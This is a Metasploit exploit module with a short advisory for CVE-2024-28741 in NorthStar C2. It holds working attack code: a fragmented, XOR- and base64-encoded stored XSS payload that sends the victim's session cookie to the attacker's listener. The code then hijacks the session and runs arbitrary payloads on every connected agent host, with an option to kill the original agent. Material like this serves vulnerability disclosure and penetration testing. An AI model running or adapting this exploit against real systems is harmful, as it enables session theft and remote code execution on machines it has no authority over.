NorthStar C2, prior to commit 7674a44 on March 11 2024, contains a vulnerability where the logs page is vulnerable to a stored cross site scripting issue. An unauthenticated user can simulate an agent registration to cause the cross site scripting attack and take over a users session. With this access, it is then possible to run a new payload on all of the NorthStar C2 compromised hosts (agents), and kill the original agent. Successfully tested against NorthStar C2 commit e7fdce148b6a81516e8aa5e5e037acd082611f73 running on Ubuntu 22.04. The agent was running on Windows 10 19045.
advisories | CVE-2024-28741
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(
update_info(
info,
'Name' => 'NorthStar C2 XSS to Agent RCE',
'Description' => %q{
NorthStar C2, prior to commit 7674a44 on March 11 2024, contains a vulnerability where the logs page is
vulnerable to a stored xss.
An unauthenticated user can simulate an agent registration to cause the XSS and take over a users session.
With this access, it is then possible to run a new payload on all of the NorthStar C2 compromised hosts
(agents), and kill the original agent.
Successfully tested against NorthStar C2 commit e7fdce148b6a81516e8aa5e5e037acd082611f73 running on
Ubuntu 22.04. The agent was running on Windows 10 19045.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # msf module
'chebuya' # original PoC, analysis
],
'DefaultOptions' => {
'URIPATH' => '/' # avoid long URLs due to 20char limit in xss payloads
},
'References' => [
[ 'URL', 'https://blog.chebuya.com/posts/discovering-cve-2024-28741-remote-code-execution-on-northstar-c2-agents-via-pre-auth-stored-xss/' ],
[ 'URL', 'https://github.com/chebuya/CVE-2024-28741-northstar-agent-rce-poc' ],
[ 'URL', 'https://github.com/EnginDemirbilek/NorthStarC2/commit/7674a4457fca83058a157c03aa7bccd02f4a213c'],
[ 'CVE', '2024-28741']
],
'Platform' => ['win'],
'Privileged' => false,
'Arch' => ARCH_CMD,
'Targets' => [
[ 'Automatic Target', {}]
],
'DisclosureDate' => '2024-03-12',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [EVENT_DEPENDENT],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options(
[
Opt::RPORT(80),
OptString.new('TARGETURI', [ true, 'The URI of the NorthStar C2 Application', '/']),
OptBool.new('KILL', [ false, 'Kill the NorthStar C2 agent', false])
]
)
end
def check
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'getin.php'),
'method' => 'GET'
)
return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200
return CheckCode::Detected('NorthStar Login page detected') if res.body.include? '<title>The NorthStar Login</title>'
CheckCode::Safe('NorthStar C2 Login page not detected')
end
def steal_agents(cookie)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'clients.php'),
'headers' => {
'cookie' => "PHPSESSID=#{cookie}"
}
)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
soup = Nokogiri::HTML(res.body)
rows = soup.css('tr')
agent_table = Rex::Text::Table.new(
'Header' => 'Live Agents',
'Indent' => 1,
'Columns' =>
[
'ID',
'IP',
'OS',
'Username',
'Hostname',
'Status'
]
)
rows.each do |row|
cells = row.css('td')
next if cells.length != 9
status = cells[7].text.strip
next if status != 'Online'
agent_id = cells[1].text.strip
agent_ip = cells[2].text.strip
hostname = cells[5].text.strip
agent_table << [agent_id, agent_ip, cells[3].text.strip, cells[4].text.strip, hostname, cells[7].text.strip]
report_host(host: agent_ip, name: hostname, os_name: cells[3].text.strip, info: "Northstar C2 Agent Deployed, callback: #{datastore['RHOST']}")
end
fail_with(Failure::NotFound, 'No live agents to exploit') if agent_table.rows.empty?
print_good(agent_table.to_s)
script_tags = soup.css('script')
csrf_token = nil
script_tags.each do |script_tag|
if script_tag.text.include?('csrfToken')
csrf_token = script_tag.text.split('"')[1]
break
end
end
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to find CSRF token") unless csrf_token
vprint_good("CSRF Token: #{csrf_token}")
agent_table.rows.each do |agent|
agent_id = agent[0]
hostname = agent[4]
print_status("(#{agent_id}) Stealing #{hostname}")
vprint_status(" (#{agent_id}) Enabling shell mode")
agent_exec(agent_id, csrf_token, cookie, 'enablecmd')
vprint_status(" (#{agent_id}) Running payload")
agent_exec(agent_id, csrf_token, cookie, payload.encoded)
vprint_status(" (#{agent_id}) Disabling shell mode")
agent_exec(agent_id, csrf_token, cookie, 'disablecmd')
next unless datastore['KILL']
vprint_status(" (#{agent_id}) Killing NorthStar payload")
agent_exec(agent_id, csrf_token, cookie, 'die')
end
end
def agent_exec(agent_id, csrf_token, cookie, command)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'functions', 'setCommand.nonfunction.php'),
'method' => 'POST',
'headers' => {
'cookie' => "PHPSESSID=#{cookie}"
},
'vars_post' => {
'slave' => agent_id,
'command' => command,
'sid' => agent_id,
'token' => csrf_token
}
)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
# 1min seems enough, NorthStar mentions 4_000ms response times...
(2 * 60).times do
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'getresponse.php'),
'headers' => {
'cookie' => "PHPSESSID=#{cookie}"
},
'vars_get' => {
'slave' => agent_id
}
)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
if !res.body.empty? || command == 'die'
vprint_good(" Command sent successfully to agent #{agent_id}, response: #{res.body}")
return
end
Rex.sleep(0.5)
end
end
def on_request_uri(cli, request)
if request.method == 'GET' && @xss_response_received == false
vprint_status('Received GET request.')
return unless request.uri.include? '='
cookie = request.uri.split('PHPSESSID=')[1]
print_good("Received cookie: #{cookie}")
send_response_html(cli, '')
@xss_response_received = true
steal_agents(cookie)
end
send_response_html(cli, '')
end
def xor_strings(text, key)
text.chars.map.with_index { |char, i| (char.ord ^ key[i % key.length].ord).chr }.join
end
def srvhost
datastore['SRVHOST']
end
def primer
@xss_response_received = false
vprint_status('Sending XSS')
# divide up the host length so that it fits in our payload
h1 = srvhost[0...srvhost.length / 2]
h2 = srvhost[srvhost.length / 2..]
sid_payloads = ['*/</script><', '*/i.src=u/*', '*/new Image;/*', '*/var i=/*', "*/s+h+p+'/'+c;/*", '*/var u=/*', "*/'http://';/*", '*/var s=/*', "*/':#{datastore['SRVPORT']}';/*", '*/var p=/*', '*/a+b;/*', '*/var h=/*', "*/'#{h2}';/*", '*/var b=/*', "*/'#{h1}';/*", '*/var a=/*', '*/d.cookie;/*', '*/var c=/*', '*/document;/*', '*/var d=/*', '</td><script>/*']
sid_payloads.each do |pload|
pload = "N#{pload}q"
vprint_status("Sending: #{pload}")
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'login.php'),
'method' => 'POST',
'vars_get' => {
'sid' => Rex::Text.encode_base64(xor_strings(pload, 'northstar'))
}
)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP code received: #{res.code}") unless res.code == 200
end
print_status('Waiting on XSS execution')
end
def exploit
fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful') if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0
fail_with(Failure::BadConfig, 'SRVPORT and FETCH_SRVPORT must be different') if datastore['SRVPORT'] == datastore['FETCH_SRVPORT']
super
end
end
